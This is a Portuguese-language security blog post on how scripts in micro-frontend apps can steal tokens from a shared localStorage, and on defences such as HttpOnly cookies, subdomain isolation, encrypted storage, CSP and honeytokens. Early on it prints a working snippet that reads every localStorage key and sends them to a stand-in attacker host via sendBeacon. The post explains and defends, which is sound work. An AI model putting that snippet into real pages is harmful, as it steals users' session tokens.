Fala galera. No trampo do dia a dia, a gente lança um monte de micro-frontends (MFEs) numa única aplicação e acha que a separação lógica dos times garante isolamento. A real é que o browser não faz nenhum milagre. Ele vê um origin (https://app.exemplo.com) e cria um único window.localStorage.
Todo script rodando ali tem acesso direto a esse cofre. O usuário fecha a aba, mas o token no localStorage continua vivo lá no disco. Para quem quer invadir, isso é um prato cheio.
O Threat Model (ou: assumindo que já deu ruim)
Antes de ir pro código, vamos alinhar o threat model: a nossa premissa aqui assume que o atacante já conseguiu execução de JavaScript no origin. O objetivo dessa arquitetura não é impedir o XSS ou a injeção na supply-chain (isso é trabalho pra outras camadas), mas sim conter o raio de explosão e reduzir o impacto pós-exploração. Se o cara já tá rodando código na sua tela, como a gente impede ele de levar as chaves do reino?
A fragmentação dos MFEs explode a superfície de ataque. Cada módulo tem seu próprio package.json. Se o time de checkout puxa uma lib comprometida (ou rola um XSS clássico), o script malicioso cai direto no bundle e ganha acesso ao mesmo localStorage de todo mundo.
E não, isso não é teoria acadêmica de AppSec. Já vi time grande perder sessão de admin inteira porque um MFE de terceiros carregou um script de analytics comprometido que tava varrendo o storage. O laço de repetição coleta tudo e a exfiltração rola solta via navigator.sendBeacon.
Como o beacon é um “Simple Request” (texto puro, GET/POST básico), ele não gera preflight (OPTIONS) de CORS. O navegador deixa passar liso:
(function stealLocalStorage() {
const payload = {};
// Varre todas as chaves do localStorage – nada escapa
for (let i = 0; i < localStorage.length; i++) {
const k = localStorage.key(i);
payload[k] = localStorage.getItem(k);
}
/* ---------- Exfiltração ---------- */
// O beacon usa o caminho de "Simple Request" e pula o CORS preflight
navigator.sendBeacon(
'https://attacker.example.com/collect',
JSON.stringify(payload)
);
})();
Nenhum erro no console, nenhuma exceção. O atacante leva tudo, inclusive se o usuário já tiver fechado a aba.
A Defesa: Parando de confiar no browser
Não basta fechar porta de XSS, a defesa tem que ser em profundidade. E mais importante: sabendo exatamente onde cada defesa falha.
A bala de prata com ressalvas: BFF + HttpOnly
A estratégia mais limpa é tirar o token do alcance do JavaScript usando um Backend‑for‑Frontend (BFF) com cookies HttpOnly. O JS nunca vê o valor.
// BFF: rota que gera/renova o token e devolve via HttpOnly cookie
app.post('/api/bff/refresh', async (req, res) => {
const currentToken = req.cookies.access_token;
if (!currentToken) {
return res.status(401).json({ error: 'No token' });
}
const newToken = `refreshed_${Date.now()}_${crypto.randomBytes(16).toString('hex')}`;
res.cookie('access_token', newToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
path: '/api',
maxAge: 15 * 60 * 1000
});
res.json({ ok: true, message: 'Token refreshed', expiresIn: 900 });
});
Onde isso falha: BFF + HttpOnly não resolve CSRF por mágica. Se você não garantir o SameSite=Strict ou não implementar um anti-CSRF token, você só trocou um roubo de token por um ataque de falsificação de requisição. Cobre a cabeça, descobre os pés.
Isolamento real e o debate Memória vs Persistência
Pra isolar de vez, jogue os MFEs em sub-domínios (profile.app... e checkout.app...). O browser cria processos e storages independentes. Pra eles conversarem, a gente engole o choro da complexidade e usa postMessage com validação paranoica de origem:
/* checkout.app.hardened.com – quem recebe */
window.addEventListener('message', ev => {
if (ev.origin !== 'https://profile.app.hardened.com') return;
const {type, payload} = ev.data;
if (type === 'SET_TOKEN') {
storeTokenInMemory(payload);
}
});
Por que em memória? Token em memória RAM não é perfeito (um atacante com execução ativa ainda pode ler variáveis globais), mas reduz drasticamente a persistência. Se o cara fechar a aba, o token morre. Isso elimina totalmente a janela de replay offline que o localStorage deixa escancarada.
Hardening: Deixando o atacante maluco Se precisar mesmo salvar no storage, não deixe em texto plano. Usamos a Web Crypto API pra derivar uma chave forte com PBKDF2 e encriptar os dados com AES-GCM.
async function encryptToken(token, secret) {
const iv = crypto.getRandomValues(new Uint8Array(12));
const salt = crypto.getRandomValues(new Uint8Array(16));
const key = await deriveKey(secret, salt);
const ct = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv }, key, new TextEncoder().encode(token)
);
// ... serialização e retorno do payload
}
Onde isso falha: AES no client não protege contra XSS com execução ativa. Se o atacante domina a thread do JS exatamente no momento em que a chave é derivada na RAM, ele leva a chave. O objetivo aqui não é invulnerabilidade, é encarecer o ataque e forçar o script automatizado a falhar.
O espião no DOM
Pra pegar anomalias, injetamos um Proxy no localStorage pra auditar leituras/escritas. E pra evitar bypass via iframe vazio, metemos um CSP marreta no header:
// CSP bloqueando a criação de iframes na página
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}';
frame-src 'none';
frame-ancestors 'none';
`.replace(/\s+/g, ' ').trim();
res.setHeader('Content-Security-Policy', cspHeader);
Onde isso falha: Race condition. Se o nosso Proxy não for o primeiríssimo script síncrono a carregar no <head>, e o script malicioso carregar antes, o atacante guarda a referência original do storage e bypassa a auditoria sorrindo.
E aqui vem a parte divertida (ou paranoica): Honeytokens
Armamos uma armadilha. Gravamos uma chave inútil (ex: honey-1234) logo após o login. Nenhum módulo do sistema acessa isso de verdade. Se o proxy capturar uma leitura nela, é certeza absoluta que tem um script intruso varrendo o storage.
window.__HONEYTOKENS__ = new Set();
const isHoneytoken = window.__HONEYTOKENS__.has(key) || (typeof key === 'string' && key.startsWith('honey-'));
if (isHoneytoken && op !== 'write') {
const criticalEvent = {
op, key, ts: Date.now(), level: 'CRITICAL',
type: 'HONEYTOKEN_ACCESS', userAgent: navigator.userAgent, origin: window.origin
};
navigator.sendBeacon('/api/alert/honey', JSON.stringify(criticalEvent));
return;
}
Onde isso falha: Falsos positivos. Se um dev júnior curioso abrir o DevTools na sexta-feira à tarde e clicar na chave pra ver o que é, o alarme toca, o PagerDuty grita e a sessão dele cai. Faz parte do jogo.
Quando o backend recebe esse beacon, a gente derruba a sessão na hora, invalida os tokens reais no BFF e isola o incidente.
Construir essa defesa em profundidade dá trabalho, exige infra e adiciona atrito no desenvolvimento. Nenhuma camada é à prova de balas sozinha. Mas no fim do dia, se você ainda salva JWT em localStorage puro em 2026, não é por falta de informação. É uma escolha arquitetural consciente, e uma bem arriscada.

Comentários